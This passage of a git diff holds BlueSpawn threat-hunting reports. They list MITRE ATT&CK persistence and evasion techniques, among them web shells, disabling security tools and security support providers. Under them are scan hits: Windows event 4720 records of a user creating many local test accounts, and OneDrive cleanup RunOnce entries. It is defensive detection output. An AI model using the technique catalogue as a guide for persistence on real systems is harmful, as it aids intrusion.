Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.9118129Z'/><EventRecordID>4099</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Albert</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1009</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Albert</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Albert - adhd - - - 4720 - 4093 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.8238114Z'/><EventRecordID>4093</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jason</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1008</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jason</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jason - adhd - - - 4720 - 4087 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.7457536Z'/><EventRecordID>4087</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ralph</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1007</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ralph</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ralph - adhd - - - 4720 - 4081 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.6681927Z'/><EventRecordID>4081</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sandra</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1006</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sandra</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sandra - adhd - - - 4720 - 4075 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.5844812Z'/><EventRecordID>4075</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jacqueline</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1005</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jacqueline</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jacqueline - adhd - - - 4720 - 4069 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.5028593Z'/><EventRecordID>4069</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Frances</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1004</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Frances</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Frances - adhd - - - 4720 - 4063 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.4215132Z'/><EventRecordID>4063</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Christian</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1003</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Christian</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Christian - adhd - - - 4720 - 4057 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.3167090Z'/><EventRecordID>4057</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Robert</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1002</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Robert</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Robert - adhd - - - - T1138 - Application Shimming - - - T1182 - AppCert DLLs - - - T1183 - Image File Execution Options - - - T1484 - Group Policy Modification - - diff --git a/bluespawn-06-15-2020-1015-17.xml b/bluespawn-06-15-2020-1015-17.xml deleted file mode 100644 index 6d889069..00000000 --- a/bluespawn-06-15-2020-1015-17.xml +++ /dev/null @@ -1,2503 +0,0 @@ - - - T1004 - Winlogon Helper DLL - - - T1013 - Port Monitors - - - T1015 - Accessibility Features - - - T1031 - Modify Existing Service - - - T1036 - Masquerading - - - T1037 - Logon Scripts - - - T1060 - Registry Run Keys / Startup Folder - - HKEY_USERS\S-1-5-21-4235200151-4210980811-2443358387-1203\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Delete Cached Update Binary - C:\WINDOWS\system32\cmd.exe /q /c del /q "C:\Users\allowlist\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" - - - HKEY_USERS\S-1-5-21-4235200151-4210980811-2443358387-1203\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Delete Cached Standalone Update Binary - C:\WINDOWS\system32\cmd.exe /q /c del /q "C:\Users\allowlist\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" - - - HKEY_USERS\S-1-5-21-4235200151-4210980811-2443358387-1203\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Delete Cached Update Binary - C:\WINDOWS\system32\cmd.exe /q /c del /q "C:\Users\allowlist\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" - - - HKEY_USERS\S-1-5-21-4235200151-4210980811-2443358387-1203\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Delete Cached Standalone Update Binary - C:\WINDOWS\system32\cmd.exe /q /c del /q "C:\Users\allowlist\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" - - - - T1068 - Exploitation for Privilege Escalation - - - T1089 - Disabling Security Tools - - - T1100 - Web Shells - - - T1101 - Security Support Provider - - - T1103 - AppInit DLLs - - - T1128 - Netsh Helper DLL - - - T1131 - Authentication Package - - - T1136 - Account Created - - 4720 - 8121 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-12T19:06:42.6344490Z'/><EventRecordID>8121</EventRecordID><Correlation ActivityID='{d35d86c8-40e0-0001-8987-5dd3e040d601}'/><Execution ProcessID='724' ThreadID='9480'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>allowlist</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1203</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1a01b</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>allowlist</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - allowlist - adhd - - - 4720 - 7988 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-12T19:02:51.1793227Z'/><EventRecordID>7988</EventRecordID><Correlation ActivityID='{d35d86c8-40e0-0001-8987-5dd3e040d601}'/><Execution ProcessID='724' ThreadID='9436'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>stran</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1202</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1a01b</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>stran</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - stran - adhd - - - 4720 - 7979 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-12T19:02:51.0942072Z'/><EventRecordID>7979</EventRecordID><Correlation ActivityID='{d35d86c8-40e0-0001-8987-5dd3e040d601}'/><Execution ProcessID='724' ThreadID='9436'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>spurr</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1201</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1a01b</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>spurr</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - spurr - adhd - - - 4720 - 5245 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:10.3256955Z'/><EventRecordID>5245</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kevin</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1200</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kevin</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kevin - adhd - - - 4720 - 5239 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:10.0984392Z'/><EventRecordID>5239</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Lisa</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1199</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Lisa</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Lisa - adhd - - - 4720 - 5233 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:10.0018936Z'/><EventRecordID>5233</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Mildred</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1198</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Mildred</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Mildred - adhd - - - 4720 - 5227 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.9053767Z'/><EventRecordID>5227</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Lauren</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1197</Data><Data 